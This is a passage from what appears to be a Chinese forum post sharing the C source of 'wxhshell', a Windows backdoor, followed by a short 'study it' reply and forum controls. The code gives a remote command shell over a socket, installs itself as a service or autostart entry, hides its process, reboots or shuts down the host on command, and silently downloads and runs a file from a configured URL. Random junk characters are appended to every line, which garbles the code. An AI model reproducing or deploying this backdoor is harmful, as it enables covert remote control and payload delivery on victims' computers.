  send(wsh,msg_ws_err,strlen(msg_ws_err),0); o]opdw  
  else rEF0oJ.  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #_u~/jhX  
  } %V nbmoO  
  else { >FkWH7  
R2 V4#  
    switch(cmd[0]) { Bi{$@n&?f  
  (P$H<FtH  
  // 帮助 CvD "sHVq%  
  case '?': { &#iTQD  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); B $mX3B+a  
    break; eow'K 821A  
  } )vSRHE  
  // 安装 5D'\b}*lJ}  
  case 'i': { k`N^Vdr  
    if(Install()) 5s]. @C8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9th,VnD0  
    else r >nG@A  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OE-gC2&Bm  
    break; $b mLu=9  
    } ^N)R=tl  
  // 卸载 gdQvp=v]  
  case 'r': { p}~qf  
    if(Uninstall()) % oo2/aF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pJtex^{!:  
    else L'kmNVvYN  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P ! _rEV  
    break; ;&)-;l7M  
    } =z /dcC$r  
  // 显示 wxhshell 所在路径 @!1x7%]G  
  case 'p': { BSVxN  
    char svExeFile[MAX_PATH]; BT"XT5@  
    strcpy(svExeFile,"\n\r"); PAM}*'  
      strcat(svExeFile,ExeFile); ^RI?ybDd  
        send(wsh,svExeFile,strlen(svExeFile),0); u`RI;KF~F  
    break; s ']Bx=  
    } $A-J,_:T<  
  // 重启 B]l)++~  
  case 'b': { \vO,E e~#W  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 5yz(>EVH  
    if(Boot(REBOOT)) _BP&n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;N?]eM}yf  
    else { p|p l  
    closesocket(wsh); 53n^3M,qK  
    ExitThread(0); ;67x0)kn  
    } LBZ+GB  
    break; AnX%[W "  
    } e\:+uVzz  
  // 关机 FFEfI4&SfS  
  case 'd': { s|y "WDyx5  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ZG&>:Si;  
    if(Boot(SHUTDOWN)) 71t* %  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lp^<3o*1  
    else { Ev}C<zk*  
    closesocket(wsh); TJR:vr  
    ExitThread(0); $[a8$VY^Cm  
    } 0a XPPnuX  
    break;  ^0 \  
    } Y<%@s}zc  
  // 获取shell  UWo]s.  
  case 's': { '?p<lu^^B  
    CmdShell(wsh); XLrwxj0  
    closesocket(wsh); }*S `qW;B  
    ExitThread(0); $arK(  
    break; YF>m$?;  
  } #6HA\dE  
  // 退出 2$ze= /l  
  case 'x': { wG-HF'0L  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <"my^  
    CloseIt(wsh); R[hzMU}KB  
    break; YOmM=X+'H  
    } 7Bd-!$j+  
  // 离开  KJaXg;,H  
  case 'q': { yj.7'{mA  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); !`Hd-&}bYz  
    closesocket(wsh); fy@<&U5rg  
    WSACleanup(); %2{ %Obp'  
    exit(1); |#cm`v  
    break; ^Xq 6:  
        } %UERc{~o*,  
  } e9U9Uu[  
  } heC/\@B  
$m-2Hh qZ  
  // 提示信息 ,N]H dR  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \=ux atw  
} (G;l x  
  } U`NjPZe5^  
p o2!  
  return; %D%8^Zd_  
} a C\MJ9  
-7@/[9Gf`:  
// shell模块句柄 zGkS^Z=(  
int CmdShell(SOCKET sock) |8l<$J  
{ _C*fs< #  
STARTUPINFO si; @] DVD  
ZeroMemory(&si,sizeof(si)); }o?APvd  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; S79;^X  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3 09hn  
PROCESS_INFORMATION ProcessInfo; I%j|D#qY:T  
char cmdline[]="cmd"; PIoLywpRn  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 87 $dBb{  
  return 0; fY51:0{  
} &;[Io  
2j}\3Pi  
// 自身启动模式 yy i#Mo ,  
int StartFromService(void) _M`--.{\O[  
{ fPR1f~r  
typedef struct `tA" }1;ka  
{ "8x8UgG  
  DWORD ExitStatus; ~5%W:qwQ  
  DWORD PebBaseAddress; xqG[~)~  
  DWORD AffinityMask; =C8?M  
  DWORD BasePriority; EIf5(/jo  
  ULONG UniqueProcessId; kwo3`b  
  ULONG InheritedFromUniqueProcessId; _u5#v0Y  
}   PROCESS_BASIC_INFORMATION; $0>60<J  
%7IugHH9y  
PROCNTQSIP NtQueryInformationProcess; p93r'&Q  
T?tgd J  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;  #~2%)  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 7byK{{/z  
8hOk{xs8  
  HANDLE             hProcess; t(NI-UXBp  
  PROCESS_BASIC_INFORMATION pbi; g(qJN<R C/  
*rs5]U<  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); c1k/UcEcg~  
  if(NULL == hInst ) return 0; M3c$=>  
"/3'XOK|  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); @s ?  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); l1OE!W W  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); P2BWuh F  
jjw`Dto&  
  if (!NtQueryInformationProcess) return 0; }@'$b<!B  
F;4vPbH+  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); )U7t  
  if(!hProcess) return 0; a!7A_q8M  
dJeNbVd  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~J wb`g.  
RKHyw 08  
  CloseHandle(hProcess); &5fJPv &  
c'>/  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); f_jo+z{-ik  
if(hProcess==NULL) return 0; \E72L5nJW  
PV'x+bN5  
HMODULE hMod; |:nOp(A\*  
char procName[255]; m? J0i>H  
unsigned long cbNeeded; 4o <Uy  
LrM=*R h,O  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); DCIxRPw  
(C-{B[Y  
  CloseHandle(hProcess); jnKWZ/R  
y&q*maa[  
if(strstr(procName,"services")) return 1; // 以服务启动 Fq~yL!#!  
mZtCL  
  return 0; // 注册表启动 #%iDT6  
} eL10Q(;P`  
: UGZ+  
// 主模块 Bu<M\w?7Y  
int StartWxhshell(LPSTR lpCmdLine) ;4R$g5-4X  
{ ;f0I 8i,JN  
  SOCKET wsl; "pi=$/RD9  
BOOL val=TRUE; X$ 0?j 1  
  int port=0; u]<,,  
  struct sockaddr_in door; 5nv#+ap1 "  
@r/#-?W  
  if(wscfg.ws_autoins) Install(); :)wy.r;N  
bf ]f=;.+  
port=atoi(lpCmdLine); \r;#g{ _  
Vwg|K|  
if(port<=0) port=wscfg.ws_port; #%a;"w  
jaTh^L  
  WSADATA data; 3oGt3 F{gZ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 'y;EhOwj,  
gf#{k2r  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   -Br Mp%C  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _E&A{HkJ  
  door.sin_family = AF_INET; `18qbot  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); [;4 g  
  door.sin_port = htons(port); GY6`JWk  
nt 81Bk=  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?*[N_'2W+  
closesocket(wsl); NPhhD&W_  
return 1; eJF5n#  
} 8p^bD}lN7  
cv-PRH#  
  if(listen(wsl,2) == INVALID_SOCKET) { XX7{-Y y  
closesocket(wsl); {@H6HqD  
return 1; yzbx .  
} FOv=!'S o  
  Wxhshell(wsl); *W4m3Lq  
  WSACleanup(); 9_# >aOqL  
[pC$+NX  
return 0; 3c#BKHNC  
fM]+SMZy  
} @K\~O__  
M>wYD\oeg  
// 以NT服务方式启动 D"Bl:W'?j  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /7a BDc-v  
{ yh Yb'GK  
DWORD   status = 0; s>B5l2Q4  
  DWORD   specificError = 0xfffffff; 7L`A{L  
)IP,;<  
  serviceStatus.dwServiceType     = SERVICE_WIN32; q!{y&.&\  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; oibsh(J3  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; G"-?&)M#a  
  serviceStatus.dwWin32ExitCode     = 0; (7mAt3n k  
  serviceStatus.dwServiceSpecificExitCode = 0; (|[2J3ZET  
  serviceStatus.dwCheckPoint       = 0; %824Cqdc  
  serviceStatus.dwWaitHint       = 0; 6*PYFf`  
B8nf,dj?X  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 4^p5&5F  
  if (hServiceStatusHandle==0) return; JmF l|n/H  
iQ tN Aj  
status = GetLastError(); o1-m1<ft  
  if (status!=NO_ERROR) 3B1XZm  
{ |jQ:~2U|   
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; =}lh_  
    serviceStatus.dwCheckPoint       = 0; 3AHlSX  
    serviceStatus.dwWaitHint       = 0; 5m*iE*+  
    serviceStatus.dwWin32ExitCode     = status; WQ~;;.v#  
    serviceStatus.dwServiceSpecificExitCode = specificError; <Y*+|T+&d  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); :=}US}H$  
    return; Upc+Ukw  
  } j>*R]mr6  
k52/w)Ro,$  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; zcel|oz)  
  serviceStatus.dwCheckPoint       = 0; @G BxL*e  
  serviceStatus.dwWaitHint       = 0; Sc>,lIM  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); S'|,oUWDb  
} bV(Y`g  
ujDd1Bxf?  
// 处理NT服务事件,比如:启动、停止 C\S3Gs  
VOID WINAPI NTServiceHandler(DWORD fdwControl) T_i:}ul  
{ $*SW8'],`  
switch(fdwControl) >sfRI]OG  
{ whmdcVh.  
case SERVICE_CONTROL_STOP: n(b(yXYm]  
  serviceStatus.dwWin32ExitCode = 0; 4~k\j  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 6DM$g=/ '  
  serviceStatus.dwCheckPoint   = 0; d:ARf  
  serviceStatus.dwWaitHint     = 0; aH 4c02s$  
  { E[2m&3&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 33o9Yg|J~  
  } V^7V[(~`  
  return; bt"W(m&f  
case SERVICE_CONTROL_PAUSE: Q;[,Q~c[u  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; `e(c^z#  
  break; P?8GV%0$  
case SERVICE_CONTROL_CONTINUE: H;?{BV  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; '{a/2 l  
  break; j.C`U(n}`  
case SERVICE_CONTROL_INTERROGATE: :9O#ObFR  
  break; {E p0TVj`  
}; 7R`M,u~f2^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ql<i]Y  
} cWEE%  
a;rdQ>  
// 标准应用程序主函数 Te.Y#lCT$  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >7wOoK|1'  
{ |2?'9<  
~o82uw?  
// 获取操作系统版本 ~c8? >oN(  
OsIsNt=GetOsVer(); @E^~$-J5j  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ~;QvWS  
o]+z)5zC  
  // 从命令行安装 3[\iQ*d }B  
  if(strpbrk(lpCmdLine,"iI")) Install(); J{l1nHQZSu  
8B7cBkl:  
  // 下载执行文件 +vYoB$!  
if(wscfg.ws_downexe) { e&simX;W  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) *v;!-F&8>  
  WinExec(wscfg.ws_filenam,SW_HIDE); 2VF%@p  
} B268e  
FYOD Upn  
if(!OsIsNt) { , `wXg  
// 如果时win9x,隐藏进程并且设置为注册表启动 pM^9c7@!:  
HideProc(); Y&[1`:-~-  
StartWxhshell(lpCmdLine); ~res V  
} :}yi -/_8!  
else @AK n@T5  
  if(StartFromService()) JIOh#VNU  
  // 以服务方式启动 \,7f6:  
  StartServiceCtrlDispatcher(DispatchTable); wAX1l*`  
else O#x*iI%  
  // 普通方式启动 __`*dL>*  
  StartWxhshell(lpCmdLine); b_,|>U  
uXI_M)  
return 0; &K[_J  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八